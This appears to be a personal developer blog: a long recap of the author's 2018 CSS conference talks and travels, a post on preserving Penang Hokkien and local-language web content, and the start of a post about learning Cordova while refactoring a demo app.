Let me explain what's going on. Long story short, the projector was so blur we had to replace it with a huge TV instead. Unfortunately, cable lengths were not sufficient, and rather than do a lot of furniture shifting, I decided that shifting myself would be the most efficient thing to do. To the floor! Also, I'm all of 5 years old and when I see a nice carpet, I must sit on it. Sans shoes.

Making the photographer's job difficult

I was informed by my fellow workshop facilitators that the event photographer was perplexed for a while because all he could hear was my disembodied voice, however, he could not see where I was at all.

I honestly had no idea why anyone would sign up for my workshop, but thankfully the attendees were sufficiently interested in CSS Grid to disregard my unorthodox approach. I'll try to be more adult in my next workshop. Maybe.

🌐 @ Mozilla Tech Briefing

This was the first time I ever did a talk over video conference, and it was quite fun. Because I had some bits of live coding on the presentation, my slides were full screen on my computer, and I couldn't see the other participants on the video call, which was interesting.

But this was also memorable because not long after, I officially joined the Mozilla TechSpeakers initiative, which made it easier to explain my relationship with Mozilla. As previously, it was, how should we put this, complicated. 🤷

🇸🇬 @ GitHub Constellation

This year was the first time GitHub Constellation ran in Singapore. I had heard plans for this the year before but somehow it didn't come through. I was connected to the organiser of this event by Mozilla and had been asked to speak about CSS layout, which is just up my alley.

The only thing was that the event took place at a rooftop bar kind of setting, which was a great location for networking but the acoustics of the place was a bit tricky for an event involving a bunch of talks. It also wasn't really set up for talks, it was more of a live band performance stage thing. So there was no way to display both slides and speaker notes.

Good thing this was a subject I could talk for hours on end, not so good is that without speaker notes, I'm not as tight with time. So I sort of breezed through the final few slides, but it was a cool experience all around.

🇺🇸 @ Smashing Conference SF 2018

Being invited to speak at Smashing Conf was such a wonderful opportunity, and it was my first time speaking to a predominantly American audience. But being on the Mozilla Developer Roadshow the year before meant that I was already familiar with Vitaly Friedman (who I seem to bump into all the time 😁) and Markus Seyfferth.

And because it was in San Francisco, I got also arrange to meet a number of people whom I'd only ever interacted with online. My broke ass found that accommodation in San Francisco was unacceptably exorbitant, so on a whim, I decided to pop down to San Diego for 3 nights before heading up to Mountain View to visit the Mozilla office.

Hello, San Diego!

I still think that was a great decision, because San Diego was a lovely city. I got to meet Saron, creator of CodeNewbie and such an inspirational and driven woman. That was one of the most fun conversations I've ever had, and I really hope to meet her again. Some day.

I museum a lot, even back home in Singapore. So I couldn't possibly find myself in Mountain View without visiting the Computer History Museum, and it was every bit as good as I imagined (if not better). Some people like going to Disneyland, and feel all sorts of excited and happy when they do. We-ll, it was the same for me at the Computer History Museum.

Can one spend a full day at the Computer History Museum? Yes, definitely.

Normally, you'd get through a museum in a couple hours, right? But I was there almost from opening time till closing time. There was so much to see! Including an original Interface Message Processor (IMP), just like what I'd read in Where wizards stay up late.

Mozilla's Mountain View Campus

The Mozilla office visit was super fun, even though I dropped in on a Friday afternoon, when it was much quieter than usual, but Havi Hoffman, whom I had met in December at the Mozilla All-Hands showed me around and introduced me to the Mozillians around the office.

AND we got to play with VR ducks!

All the ducks!

Finally, it was time to get serious. The team at Smashing really know how to do a conference, and the line-up was stellar. I got to meet Rachel Andrew again, and a lot of new friends doing cool stuff. Had nice long conversations with Joe Leech and Mike Rithmuller. And I met the lady who campaigned for and created the dumpling emoji, Lu Yiying!

Another highlight was meeting Robin Rendle in person while I was in San Franciso and he gave me the best recommendation to visit the Letterform Archive, best advice ever.

I could have lived there…

🇺🇦 @ You Gotta Love Frontend Kyiv

YGLF Kyiv marked the start of my ridiculous summer conference schedule. Ridiculous because instead of remaining in Europe, I ping-ponged back and forth between Singapore and the various European cities. Yes, many friends have given me advice on how to avoid such a situation in future. 🤣

So apparently, this was the first time the team in Kyiv organised a conference, but honestly, you'd never have known because the entire conference was so well-run. I was really well taken care of as a speaker, and that line-up was amazing. I learned so much in the short span of 2 days.

Speakers, organisers and duck!

The format of the conference was really fun as well, with a mix of full-length talks and lightning talks, as well as 1-on-1 interviews with some of the speakers on the second day.

Kyiv is definitely a city I want to come back and visit. There is still so much I hadn't yet seen, and the food I definitely loved. My Airbnb was right next to the Toilet History Museum, and my host and her daughter also gave me a list of places to visit (which sadly I couldn't cover them all).

It was great to catch up with familiar faces and meet new friends too, like fellow basketball-playing developer, Ben Gagyi, and V8 engineer, Benedikt Meurer. Just had to point out a tale of 2 Bens. 😌 Check out all the photos from the conference! Here are the Day 1 Photos, and these are the Day 2 Photos.

Even though I should have stayed put in Europe after this conference and made my way to Berlin from there, I went home to Singapore instead. Just in time to touch down back to Singapore and make it to the final game of our basketball season directly from the airport.

We won. 😎

Hillcrest Greys basketball team

🇩🇪 @ CSSconf EU 2018

Being at CSSConf.EU and JSConf.EU was so surreal. It was truly an experience to remember. First of all, keep in mind that before 2018, I had never been to Europe before, much less attend a European conference. Berlin is a great city, and 5 days was definitely too short a trip. But back to how mind-blowing the conference was.

Audience at CSSConf.EU

First of all, so many people turning up just for CSS! And knowing that this number was probably going to be tripled (my best guess) for JSConf.EU? I just, no words. 🤯

I flew in to Berlin via London, and was actually on the same plane as Sareh Heidari, one of my favouritest people ever, but didn't see her until we got off the plane! Soon after, I got to know Whitney Williams, and thus we formed an unofficial trio for the rest of the conference.

The three musketeers

One of the highlights at the conference was the wonderful Mozilla Arch, that sadly, due to fire safety regulations, wasn't open for public to walk through. But it was still super cool, because anyone could program the Arch with a little bit of Rust code.

Meeting up with team Mozilla at any time in any place is always something I look forward to. I finally managed to meet Ola Gasidlo in person, who so kindly showed me around the Berlin office, and her talk about TCP/IP was one of my favourites. There were actual pancakes involved, nuff’ said.

While working on this CSSConf.EU talk in Kyiv, I suddenly got the idea to create “CSS trading cards”, making various layout techniques/properties into characters, like those players on baseball cards. I also decided to toss in a minor bit of live code into my slides (thank you content-editable), because, why not? Thankfully, the code worked as planned. 🙏

Check out all the conference photos plus the playlist for CSSConf.EU 2018 and JSConf.EU 2018.

Intermission: 🇭🇰 @ Webconf.asia 2018

If you read last year's post, this conference might sound familiar. Yes, this was my first ever international talk (thank you, Charis Rooda for taking a chance on me). Charis gave me free entry to this year's Webconf.asia, which was such a treat!

So this happened. Conference organisers, you have been warned…

On Day 2, Charis let me crash the stage and co-host with her, which was great fun for me (not sure what the audience thought 🤷). But that meant I got to introduce Monica Dinculescu and Val Head, 2 people I've fangirled over for a good long time 😍.

One of my hopes for the future is that there will be more web conferences in this part of the world too. Near future, not far future 🤞.

🇳🇱 @ CSS Day 2018

I was especially nervous for this talk for a number of reasons. It was a brand new talk, I hadn't had that much time to work on it, and I was told the audience at CSS Day was very technical, so I was doubly worried that I would be telling them things they already knew.

The rare shot where I actually look decent. Credit to Drew McLellan.

Some of you may know me as that person who keeps extolling the virtues of reading CSS specifications, and I really do read them. But for this talk, I poured over them, going through the relevant ones with a fine-toothed comb. So in the process, I learned a whole lot about alignment that I didn't know before.

But first, let's talk about Amsterdam. Picturesque, I think, is an appropriate description of the city. After Kyiv and Berlin, I found that quite a number of people I know are based in Amsterdam as well.

Museumbrug, Amsterdam

Like Razvan Caliman, creator of the CSS Shapes editor chrome extension, and now part of the Firefox Devtools team, the incredible Rachel Nabors, whom I first met at JSConf.EU, Stephanie Nemeth, whose Haute Codeture talk at JSConf.EU blew all of us away. I could go on.

And then, there are my typography friends, Roel Nieskens, who I've been chatting with regularly on Twitter and Slack prior to meeting, and Richard Rutter, who I only met properly for the first time at this conference. If you don't know Roel, he has been crowned (by me) as winner of the best named project in the world award, for Wakamai Fondue.

Team NiceWebType at CSS Day

I had followed Richard for a while now, because, you know, web typography, so it was really nice to meet him in person and chat with him. I also bought the physical copy of Web Typography and he signed it for me!

While preparing for the talk, I figured, since I was going to be talking about box alignment, it would make sense to have a box illustration in my slides, right? We-ll, one box turned into five, and then before I knew it, there was a village of boxes all over the presentation. It just happened. 🤷

Box fam. #squad

It turns out, Boxy (naming things is hard, my friends) was pretty popular and Hidde (another friend based in Amsterdam, fellow Mozillian and great speaker) suggested making Boxy stickers. What an idea, what an idea…

One last dinner before going home

Is doing 3 different talks within the span of a month a bad idea? Well, now that I've come out the other side relatively unscathed, I'll say it's hectic, but rewarding. Although I never really relaxed until this talk was over and I could take a breath without thinking about the next talk (at least for a little bit).

🇦🇺 @ Web Directions Code 2018

I stayed put for the month of July, but it's time for another round on the conference circuit (that's what I'm going to call all this travel in 2018). This time I'm travelling south, to the land Down Under for Web Directions Code.

If you've ever been to Singapore, you'll know that we have hot and humid weather. ALL THE TIME. Jackets are worn in air-conditioned rooms, not outdoors. So call me weird but to be in Melbourne during winter was nice for me.

Don't think we'd get the same effect if the lights were green

There was a general consensus among the speakers that the purple lights, which were in line with the conference theme colours, made for really good photos. Not sure if it was planned or just a coincidence, but Code Leaders theme colour was green. Don't think green lights would have had the same effect though. 🤷

Normally I have my talk cemented weeks before the actual conference, but I had a very busy July at work in addition to other commitments like TechLadies and basketball, so I found myself adding stuff to my slides just before I was due to go on stage. I don't recommend this at all, but hey, life happens.

The Code audience was really warm and responsive, which made it very reassuring as a speaker. There were some issues because my laptop lost WiFi connection halfway through and I chose this once to use Can I use… embeds directly instead of screenshot-ing them like I normally did. Murphy's Law.

Full house for both days with around 300 attendees

But because I was going a mile a minute, I had time to ask the superb AV-in-charge to help me sort things out. And the show went on. The part I chose to add in the morning was a section about non-rectangular-ness on the web, with all the Beyoncé-related examples I could dig up at short notice.

Web Directions Code was a spectacular conference. Every talk was chock full of useful information and I met so many awesome people. I got to see Mandy Michael, Patima Tantiprasut and Phil Nash again. Patima's keynote was stellar and I can't wait to share it when the videos are released. Mandy (who is officially friend of Talk.CSS for eternity) was brilliant as usual, and her slides were super gorgeous.

Road Trip!

After the event wrapped up, some of us stuck around for an extra day in Melbourne, and so Road Trip! It was Sara Soueidan, Mike Riethmuller and I along the Great Ocean Road. There were kangaroos, birds and the splendour of mother nature. An all-round great time in the land down under. ❤️

🇵🇭 @ Form Function & Class 9

This is my third Form Function & Class, and this conference will always have a special place in my heart. It was the first conference I ever attended (back in 2014, and I dragged Zell to go with me). I gave a talk here last year, and came back again to hold a CSS grid workshop.

As someone who's involved with conference organising myself, I could fully understand the stress of the organisers when the Manila Airport SHUT DOWN the day all the speakers were due to fly in because of a plane crash-landing earlier in the morning. 😱

I ended up being the only speaker who got here on the scheduled travel day, maybe because I flew on Philippine Airlines…? As a result, my workshop was the only one running on the conference day itself. I did make an impromptu edit to my slides. 👇

Workshop wouldn't have happened without PAL

Attendees of the other 2 workshops got inadvertently diverted to mine, so instead of a cosy 20-30 audience, it became more than 100 attendees. No pressure. 😲

Well, CSS grid for everyone then. ¯\_(ツ)_/¯

Day 1 class picture

Thankfully, Holgar managed to land later that evening, while Vitaly finally got in and through Manila airport at 4.30am the next day. The troopers that they were, we got the 2 workshops rolling by 9.30am. Respect. 🙌

FFC has been part of my web development career from the beginning and they really are the pride of the Southeast-Asian web community. The organisers are a taking a well-deserved hiatus for the indeterminate future, which makes this experience all the more precious. Love them always. ❤️

🇪🇪 @ Refresh 2018

Before I even say anything about the conference, let's talk about Finnair's Northen Lights cabin display. I mean, look at it. Maybe I'm easily impressed but this was such a nice touch.

I love the Northern Lights display in the @Finnair cabin 😍 pic.twitter.com/zLg7TioXZX
— HJ Chen @ Refresh 🇪🇪 (@hj_chen) 5 September 2018

In addition to this being my first time in Estonia, it was also the first multi-track conference I spoke at. I've only ever been an attendee at a multi-track conference and I had this uneasy feeling that I would be addressing an empty room because I'm not a known speaker, and I was covering a rather niche topic.

But I remembered something Sandra Persing told me early on during the Mozilla Developer Roadshow, that every talk is a performance, and we owe it to the audience to deliver a good one every time, regardless of the circumstances. So when I had to start my talk facing a barely half-filled room, I channelled my inner Beyoncé and let it rip.

I opened up by thanking the audience who were present, because honestly, there was another session going on at the same time that I wanted to attend. Here's also where having friendly faces in the audience really helped, with Asim Hussien and Milosz Piechocki right in the front row.

Guess who I was glancing at throughout the talk? Okay, it was Asim

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Somehow, at the halfway mark, people started streaming in, so I don't know what happened, maybe people just needed more time for lunch or something. Or they were actually here for the next guy. 🤣 But I did wrap up to near full-house, so I guess that's not too bad.

The individual conversations I had with audience members who came up to me afterwards though, were golden. I mean, I got really kind feedback, in terms of my talk delivery (which made me feel much better about myself 😌), but also ideas and discussion around internationalisation and translating content across languages and cultures.

Much appreciation for the research and the time invested by @hj_chen to adapt her typography talk to each new audience 👏 @REFRESHRocks pic.twitter.com/6Fjo7KPQcA
— Laura Carvajal (@lc512k) 7 September 2018

Laura gave a great talk on accessibility

Kay Drechsler shared a bug his team was facing with regards to ::first-letter, Flexbox and text-transform for Arabic, where the ligatures were being messed up. I'm still trying to figure it out by building a reduced test case, write-up coming soon.

Point is, I learned so much from this experience, and I'm very grateful to Janika and her team for having me, and holding such a great conference.

On an unrelated note, this is the third time I've been at a conference that coincided with a major sporting event. This time it was the Tallinn Marathon. I wonder what will be next…

🇫🇷 @ Tech Speakers Meetup

Tech Speakers is an initiative by Mozilla that supports technical evangelists in regional communities around the world by providing resources and funding. I officially joined them in April this year, and this was my first Tech Speakers meetup.

The event was held at MozSpace Paris, currently in a gorgeous building that used to be the embassy of Austria. It happened to be European Heritage weekend, so the building was open to the public, and it was quite amusing to see curious people peer into the room while talks were going on.

It was a weekend of 7-minute talks by every participant, as well as workshops on Rust, WebAssembly, Firefox Go and Project Things. Mozilla had invited 4 coaches to provide feedback on each participant's talk.

The Rust and WebAssembly workshops were run by Dan Callahan, and he did a wonderful job of explaining things, the design rationale behind both projects and the use-cases they are targeting. I came away with a much better understanding of both, and now I'm compelled to learn Rust.

The TechSpeakers family

Because of the slew of events I had lined up, I was only in Paris for 3 days. I did manage to visit the Lourve though, and checked off “see the Mona Lisa”. However, it was the painting hanging on the opposite wall that really blew my mind 🤯.

The Wedding Feast at Cana by Paolo Veronese. It's almost 10 metres across and nearly 7 metres tall, with so much detail that you could probably write a screenplay around the characters in the painting.

The Lourve also has a nice collection of ancient Greek inscriptions plus an amazing collection of Islamic Art. I spent a lot of time in that exhibition, learning about Arabic calligraphy, book making, culture and history.

Overall, a great weekend, if I don't say so myself.

🇯🇵 @ W3C Workshop on Digital Publication Layout and Presentation

My very first W3C event! It took 3 plane rides and 2 transits to get to Tokyo but I made it. I'm immensely grateful to Florian Rivoal for inviting me to present at this workshop.

Reception for all participants

The goal of this workshop was to bring together people from the web world and people from the digital publishing world to evaluate the current status and explore future directions of visually-rich long-form digital publications.

It was very eye-opening to hear the perspectives from the digital publishing world, as well as learn more about the challenges and potential advancements in the area of digital comics and manga.

Rachel Nabors gave an engaging presentation on interactive comics that showcased the potential of where digital comics could continue to develop. Pablo Defendini presentation was also a highlight for me and I'm trying to recreate his working prototype for Toy Planes in CSS grid, stay tuned.

One of my favourite talks was by Elika Etemad (AKA fantasai) on the design principles behind CSS. If I had my way, I'd make every single web developer on the planet watch it. Most of us talk about designing with CSS but she is one of the few people on the planet who is qualified to talk about designing for CSS.

The talk every web developer needs to see IMHO

I also got to meet my fellow CLReq team members, Bobby Tung and Eric Liu in person for the first time.

Although this was a fairly short trip of 3 days, it was extremely fruitful. I learned a tonne from the presentations as well as the conversations I had with numerous experts with decades of experience in their respective fields.

🇧🇾 @ CSS-Minsk-JS 2018

Next stop in my crazy September was Minsk. I first knew of the Minsk frontend community when I met Sasha Shinkevich at piterCSS last year. And I was extremely excited when I got invited to speak at CSS-Minsk-JS because, let's be honest, opportunities for me to meet my friends from the Russian-speaking web community are few and far between.

City CSS organisers!

Turns out I was on the same plane as Ashi Krishnan, who delivered a brilliant talk on doing machine learning with JavaScript. But the highlight for me was how we inadvertently became the unofficial Minsk web typography conference as Peter Müller, myself and Bram Stein presented 3 font/typography talks in a row.

Was also reunited with Tanay Pant, whom I met for the first time in Paris just a few days prior. His talk on mixed reality was great, with live demos on stage. Pokémon were involved.

I got the chance to record a podcast episode with Vadim Makeev, who does so many amazing things in the Russian web community. We chatted about Internationalisation, typography and web stuff in general.

Vadim was one of the first conference organisers who gave me the opportunity to stand on a stage and talk about CSS (and typography). I now have friends in the Russian-speaking web community because of him, and I can't thank him enough for that.

Fun times at the after-party

After-party was great fun, as we went bar-hopping in the Minsk city centre. Unfortunately, I ducked out an hour early because I had to head off to the airport the next morning. But I got a few beers and shots in before saying my goodbyes. Sorrel shots are very delicious.

I also learned that there is a Russian term for CSS developer, верстальщик, thanks to Liudmila Mzhachikh and Alexey Okhrimenko. The two of them hosted both days without a dip in enthusiasm.

Clearly, I did not spend enough time in Minsk, and this is a city I definitely want to come to given the chance.

🇬🇧 @ View Source 2018

Oh, this was such a good event. View Source was part of a week-long series of festivities by Mozilla, cumulating with the Mozilla Festival AKA MozFest over the weekend. The speaker line-up was really diverse, and I was really happy just to meet these awesome humans in person.

Also managed to snag a ticket to attend the London edition of #causeascene Conference, which is one of the most though-provoking conferences one will ever attend. Videos from the conference are available online.

Can't even remember why this face

I had the chance to meet up with Saron Yitbarek in San Diego earlier this year, but watching her live was such a treat. You know who else I got to see live? Jen Simmons 🤩

The talk I gave was a revision of the one I gave on the Developer Roadshow, but more than half the slides were completely different. The theme was still the same though, and I couldn't beat the previous title, so…

But MozFest was something else. Taking place at Ravensbourne University, first of all, the school is called RAVENSBOURNE 😲.

MozFest shenanigans!

Anyway, it was nine floors of bustle and a million things going on at the same time. The most memorable session was the panel on Data in Oppressive Regimes, with Esra’a Al-Shafei and Mahsa Alimardani.

Here are all the photos from View Source 2018.

🇩🇪 @ beyond tellerrand 2018

Had to bounce back to Singapore for DevRel Summit (which was an amazing event IMHO) before coming back to Europe. I had met Marc Thiele for the first time at SmashingConf San Francisco earlier this year and when he invited me to speak at beyond tellerrand, I was beyond ecstatic.

As Marc explained to me, tellerrand means the edge of a plate, and beyond tellerrand is a conference that wants to move outside the edge, thinking outside the box if you may. It shows in the speaker line-up, with talks ranging from machine learning, to branding and lots of interesting topics in between.

Flailing hand syndrome manifests

Oh the people I got to meet in person! First of all, I'm not ashamed to admit I'm a huge fan of Debbie Millman, and honestly, it felt like we moved in such different circles I'd never meet her in person. You know, like how I'd never meet Beyoncé in person? And then, I saw her in the speaker line-up and just died.

Also got to meet another typography friend, the one and only, David Jonathan Ross AKA DJR. My new goal is to meet and take photos with as many of my online typography friends as I can. It's like Pokémon GO, but better. I missed taking one with Oliver Schöndorfer though, but his talk on variable fonts was fantastic.

Both of us can't take selfies to save our lives

And I finally got to meet Charlie Owen *runs around with flailing hands* Unfortunately, we only managed a short chat, and my star-struck brain did not think to ask for a photo together. But the next time I find myself in Berlin, you know who I'll be looking up.

I'm probably just listing all the people on the speaker list, but how can you blame me? Have you seen the full line-up? The only thing is there wasn't enough time to get to know them all. At least I managed to have lunch with Léonie Watson. Can't win them all.

The conference itself was amazing. The atmosphere was electric. Tobi Lessnow brought so much energy to the stage. And every single talk was simply aces. Josh Clark opened with an insightful, thought-provoking talk on machine learning.

I am now a fangirl of Gemma O'Brien as well

I adored Cécile Dormeau's illustrations and her inspirational, uplifting talk as well. Gemma O'Brien did live lettering, which thrilled me to no end. Frederik Vanhoutte gave the most beautiful talk about creativity. Marcin Wichary did a fascinating one on keyboards, and Jenny Shen closed off the conference with a great one on cross-culture design.

If it weren't for beyond tellerrand, I would never have been able to meet all these people who are beyond my regular circle of developers, and I'm immensely grateful for the chance to speak in front of almost 500 people. 500 people in a CSS talk. About boxes. Imagine that.

Some photos from the event.

🇲🇾 @ deTECH Conference 2018

My last event of the year was deTECH Conference in my hometown of Penang. This was an inaugural conference organised by local community leaders to expose the local tech community to new technologies and emerging indsutry trends. It may not have been a typical developer conference that I usually turn up to, but I feel heartened that we are starting up more tech conferences locally.

Lots of gesturing, as usual

I ran a CSS layouts workshop on the first afternoon, and because most of the audience were beginner web developers, it was much different delivery from the workshop I gave just a few weeks prior at beyond tellerrand. This was the third workshop I ran this year, and now that I've finally ported my code examples to Codepen, I think I'm going to continue using Codepen for this purpose moving forward.

Although, I realised that Codepen doesn't really support Internet Explorer and it would be nice if my content around Feature Queries was displayed in IE. Let me consider additional options. Anyway, even though the talks covered a variety of topics, they were all given in the context of Southeast Asia, which I loved so much.

I admit I'm rather partial toward my region of Southeast Asia, and I'm very open about this. Because I strongly believe that we have the potential to do as well, if not better, than our Western counterparts. I have opinions about this. But I won't go into detail here.

Drone technology for agriculture

My one of my favourite talks was Big Data in Agriculture by How Yong Guan from local drone start-up, Poladrone. The founder had grew up around plantations and decided to create a solution that would solve pain points faced by plantation owners and their workers. Context is everything.

Reasons why Bus Uncle is such a loved chatbot

Another favourite was Because Robots are People Too by Abhilash Murthy who created Bus Uncle, Singapore's most well-loved chatbot which tells users bus timings. In fluent Singlish. Again, local flavour is best captured by locals. It's no surprise my 2 favourite talks revolve around application of technology in the 2 countries I grew up in and call home.

I'm a huge believer that context is everything. It's great to take ideas, advice and innovation from other places that have achieved certain levels of success and results, but apply all that knowledge to solve problems that are most relevant to our local contexts.

😌 Wrap up (finally)

When I ended 2017, I didn't think 2018 could top it. But now, as we're nearing the end of the year, I'm reconsidering that thought. This was the most amount of travel I've ever done in my life, for 17 events across 13 countries, to talk about CSS. And represent Southeast Asia on the conference circuit.

Along the way, I also made a minor directional career shift, from Developer to Developer Advocate (we'll see how that turns out, stay tuned), and accrued enough miles to (hopefully) get my older sister a cheap ticket for next year's holiday 😛.

Thanks to the various event organisers who thought I had something to contribute, and brought me to their events despite how far away I was from them, I managed to tick off a number of people on my “must-meet-in-person-before-I-die” list.

All this, from CSS.

What an incredible privilege 🙏.

Bonus round: 🇮🇩 @ MozKopdar JKT Dec 2018

I thought I was done for the year, but I took an impromptu trip down to Jakarta for MozKopdar JKT's last meetup of the year at the Mozilla Community Space in Jakarta with my friends (and fellow DevRel teammates), Alex Lakatos and Julia Biros.

Mozkopdar at the Mozilla Community Space in Jakarta

Alex and I were both Mozilla Techspeakers and since Alex and Julia were in Southeast Asia for vacation, they asked if I wanted to come along and give a talk as well. I'd never spoken in Indonesia before and thought it'd be a great opportunity to meet some of the Indonesian developer community so impromptu trip it was!

Jakarta is about 2 hours away from Singapore so it wasn't that much travel. Also, the new train service from the city to the airport made things much more hassle-free than before. There's also Go-Jek now, which is great for commuting within the city.

For people who are unfamiliar with Southeast Asia (sans Singapore), 100–125cc motorcycles are a very common mode of transportation. And for dense cities like Jakarta, where cars get stuck in traffic for hours, motorcycles can often get you to your destination much faster.

That shelf is my favourite

The Mozilla Community Space in Jakarta was so lovely! It was cosy and filled with personal touches, from stickers near the doors and light switches, to a shelf full of fox plushies and hand-painted walls depicting the various Community Spaces around the world.

I went first, with a talk on (what else?) layout, specifically Flexbox and Grid, but this time instead of slides, I went with using DevTools to demonstrate and explain the different concepts that these new properties introduced. And it turned out rather well, which means this might get polished up into a new conference talk for next year? Maybe?

If only I could bring them home with me

Then Alex delivered his mind-blowing talk showcasing all the things DevTools can do but somehow I didn't know existed. JavaScript debugging on Firefox has improved leaps and bounds over the past couple of years and I highly encourage everyone to give it a try. You might be pleasantly surprised.

Anyhow, it was a really short trip for me, as I only stayed a night, but I'm definitely looking forward to coming back again. And now I'm REALLY done with travel for speaking this year 😌.

Preserving mother tongues

Wed, 04 Jul 2018 00:00:00 GMT

Over this past weekend, I flew back to my hometown of Penang to conduct an Introduction to Web Development workshop with TechLadies, a community initiative founded by Elisha Tan for women in Asia to connect, learn, and advance as programmers in the tech industry. Although I was born in Penang, my family moved down south to Johor when I was 4, so technically I didn't grow up in Penang.

Team TechLadies in Penang, more attendees than we expected

However, my family identifies very strongly as Penangites. My parents had lived there their whole lives prior to the move, and so did my grandmother (who lived with us too). My older siblings obviously had clearer memories of growing up in Penang, while I had hazy memories of our old house at Balik Pulau.

We spoke almost exclusively Penang Hokkien in our household. For the benefit of non-Chinese readers, Hokkien is a Chinese dialect that originated from the Minnan region, which is located in the south-eastern part of the Fujian province in China. Timothy Tye has written a comprehensive article on Chinese immigration to Penang, as well as his theories on the origins of Penang Hokkien, which are both worthy reads.

Anyway, in spite of the fact we were physically not in Penang, home and being with my family meant Penang, for as long I can remember. I often joke with my friends that I can remember my mum teaching me to read in English and my grandma teaching me to write Chinese, but I came out of the womb speaking Penang Hokkien.

Le Fam

Given both my parents were teachers, some people (and school teachers) have expressed surprise when they discover our language of choice at home was Penang Hokkien. It did not seem to have hindered our ability to be fluent in other languages, apparently.

Feelings I didn't know I had

I never gave languages a second thought when I was younger. Words, regardless of language, were just a way for me to express what I thought and felt. Kids being kids, I just spoke whatever language was the predominant one at that point in time. Nobody cared about English, Chinese or Malay when we were being chased by the “catcher”.

Although, I did notice that the Hokkien I spoke was quite different from the Hokkien spoken in Johor and Singapore. We pronounced words differently, and used different words altogether sometimes. The intonations were also quite distinct, and I would just say, well in Penang, our Hokkien is different.

A few years ago, I discovered the Penang Hokkien Podcast and when I first heard it, it was a surprisingly emotional experience. People who grew up their whole lives in a community that spoke the same mother tongue as themselves would probably find this hard to relate to, but it really was something else to hear my mother tongue streaming out of the speakers of my computer.

Support the PGHK podcast

I never realised this before, but I guess on a subconscious level, I always associated Penang Hokkien with home. Because I only heard it when I stepped into my house, when I spoke to a family member, when I returned to Penang. It's hard to put into words but to hear more than an hour's worth of Penang Hokkien from a podcast, it was all the feelz.

Languages are going extinct

Languages have always been an area of interest for me. Languages, writing systems, typography. To me these are methods that humans developed to convey ideas amongst ourselves, and the fact we have more than 7000 languages still being spoken today is a testament to the diversity of human history and culture.

Endangered languages around the world, via The Endangered Languages Project

When I was in school, I only had a handful of friends who spoke dialect at home. Kids from my generation who grew up in Singapore were the outcome of the campaigns launched by the government back in the 60s and 70s, to eschew dialects in favour of more “practical” languages like English and Chinese. Many of my friends only heard dialects being spoken when they visited their grandparents, barely enough exposure to become fluent.

And now that my friends have kids of their own, this new generation has even less chances of being exposed to their dialects. In fact, English has become so dominant in Singapore that fluency in mother tongues like Chinese and Malay has deteriorated among the younger generation. Personally, I find this tragic.

In the past couple of years, I've read numerous articles about how Penang Hokkien may be slowly dying out, and it's alarming to me. Alarming because something I associate so strongly with the idea of home, and of belonging, is gradually fading away.

Which is the reason why I created a website called Penang Hokkien 槟城福建话. I found that there are certain words or phrases that are only used by people who speak Penang Hokkien. In addition to recording these words and their usage in daily speech, I also wanted, wherever I could, add some anecdotes about the etymology of such words and phrases.

Penang Hokkien stories

All technical details about the site can be found in an earlier post, where I explain all the fun stuff I got to use to build the site, as well as the challenges with implementing a writing-mode switcher in addition to being bi-lingual.

Encourage creation of local content

Language can and does affect the way we perceive the world around us, and how we think about problems. I can understand the practical aspects of there being a “universal” language to facilitate global communication, but not at the expense of losing a large variety of perspectives.

More than 50% of websites on the web are in English, while only 5% of the world's population are native English speakers. To me, there's something not quite right about this ratio. Yes, the computing age started out from English-speaking regions and took off from there, but as more and more of our communications move onto the digital realm, it is important that we preserve language diversity.

Languages are representative of human heritage, and convey unique cultures. If you speak more than one language, then you can probably understand that there are certain concepts that simply get lost in translation as you switch from one language to another.

Studies done by the Internet Society have shown that while cost of access is a barrier to getting people online, many non-Internet users claim that the Internet is simply not relevant or of interest to them. If the Internet is meant to enhance the free flow of information and ideas across the world, then creation of content on the web should not largely be limited to English-speaking communities.

I have been privileged to have the opportunity to speak at conferences all around the world over the past 2 years about East Asian typography and web layouts. Because most of the audiences I speak to are not native English speakers, I make it a point to encourage the creation of local content. To show how web technologies have improved and are still improving in order to allow every writing system in the world to be correctly rendered on the web.

Wrapping up

Will the ratio of content on the web match that of the physical world? I have no idea. But I believe that if we don't do anything about it now, then this gap will just continue to grow. I'm aware I don't have a huge following, nor am I much of an influencer, however, if I can get 1 more person to create content in their local language, that's 1 more than if I didn't try.

For a better web, I say. 💪

Learning Cordova while rewriting an app

Tue, 13 Mar 2018 00:00:00 GMT

This is a “refactoring legacy code” post, and I suspect you'll see more of these in the months to come because I've decided to do a bit of adulting by taking on some gainful employment. A major part of the role involves janitorial duties for the existing front-end code base.

I say janitorial with a lot of love. There are, in my opinion, two kinds of developers around, those who love creating cool stuff that sort of works and ship new apps like people change underwear. And then there are those who come in after the crowds have gone home, and the lights have been turned off, and refactor that code into something solid, write documentation and basically sweep up after the party.

I'm the second kind of developer. Look, who doesn't like playing with the new stuff? Most of us probably do. Maybe. But I find genuine comfort in refactoring and clean up work. Because I'm a weird person. Keep that in mind if you ever meet me in person.

Hey, so we have this demo...

My current company is in the business of fraud detection systems, namely, payments fraud. There are several areas in which we can offer services through our products and one of them is customer on-boarding for banks and financial institutions.

Anyway, long story short, there was a pretty interesting concept the business team had developed and someone on the tech team had built out a proof-of-concept demo showcasing said concept.

It was a two-parter, meaning the setup involved an app running off a tablet, and an online dashboard. The demo was used by our sales team from time to time when engaging potential clients and to be honest, when I first saw it, I was kind of impressed as well. Because the concept made sense, and having the demo illustrate the flow made the explanation all the more compelling.

But, being the mildly OCD person I was, some things just jumped out at me, like, I don't know, the page title of the web page being “Free Bootstrap Admin Template: Dream”. To provide some background of this situation I'm in, the team never really had a front-end developer before. As far as I know, the team had been focused on building out the back-end functionality of the company's core products.

I was not the least bit surprised that everything was built with Bootstrap. But that's why I have a job now, right? Also, between the time the demo was built till now, the company went through a corporate re-branding exercise, so we had different corporate colours now. It was as good a time as any to refresh the demo.

Native app? But I'm so foreign...

Sorry, that was a terrible attempt at a joke. But truth be told, I've NEVER built a native app in my life. Upon further examination of the codebase though, I realised that this wasn't really a native app to begin with, it was built with Cordova. This I could work with.

The amount of time I spent troubleshooting my local environment for Cordova development was ridiculous. I ended up with Android Studio installed (although I don't actually use it for anything), but ran everything with the Cordova CLI from my terminal.

It also took me 2 days before I realised that rather than trying to fix all the version compatibility issues between the different tools, it was easier to just trace the versions of the tools the original developer used and use those instead. Based on the commit dates in the repository, I downgraded to Cordova 6.5.0 and everything magically worked. I also installed Gradle via Homebrew because the Android Studio version just wouldn't take.

